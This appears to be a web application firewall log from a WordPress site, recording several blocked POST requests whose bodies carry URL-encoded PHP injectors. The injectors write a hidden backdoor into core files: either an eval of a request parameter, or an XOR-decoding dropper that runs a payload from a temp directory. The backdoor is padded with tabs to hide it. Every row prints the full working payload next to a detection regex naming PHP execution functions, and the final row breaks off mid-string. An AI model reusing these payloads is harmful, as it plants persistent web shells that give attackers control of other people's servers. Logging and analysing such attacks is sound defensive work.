["2026-05-12 13:53:23","172.86.89.164","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Wt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status407.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrwFGL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2064\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI3DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept:*\/*\naccept-encoding:gzip,deflate\n\nWt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status407.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrwFGL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:53:34","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fi:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status407.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrwFGL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:2064\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMzxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\n\nfi=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status407.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrwFGL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:53:40","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status407.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrwFGL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:2064\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq24vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\n\nwn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status407.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrwFGL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:53:43","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status407.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrwFGL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-fetch-user:?1\ncontent-length:2087\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status407.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrwFGL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 13:54:11","54.36.177.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> By:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524rec%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524flag%2520%253D%2527%2527%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524rec%2529%2529%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524rec%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520%2524reference%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524parameter_group%2520%253D%2520count%2528%2524reference%2529%253B%2520%2524data_chunk%2520%253C%2520%2524parameter_group%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524reference%255B%2524data_chunk%255D%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ref%2529%252C%2520is_writable%2528%2524ref%2529%255D%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524ref\/.desc%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524elem%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:4048\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDaxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\n\nBy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524rec%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524flag%2520%253D%2527%2527%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524rec%2529%2529%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524rec%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520%2524reference%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524parameter_group%2520%253D%2520count%2528%2524reference%2529%253B%2520%2524data_chunk%2520%253C%2520%2524parameter_group%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524reference%255B%2524data_chunk%255D%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ref%2529%252C%2520is_writable%2528%2524ref%2529%255D%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524ref\/.desc%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524elem%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20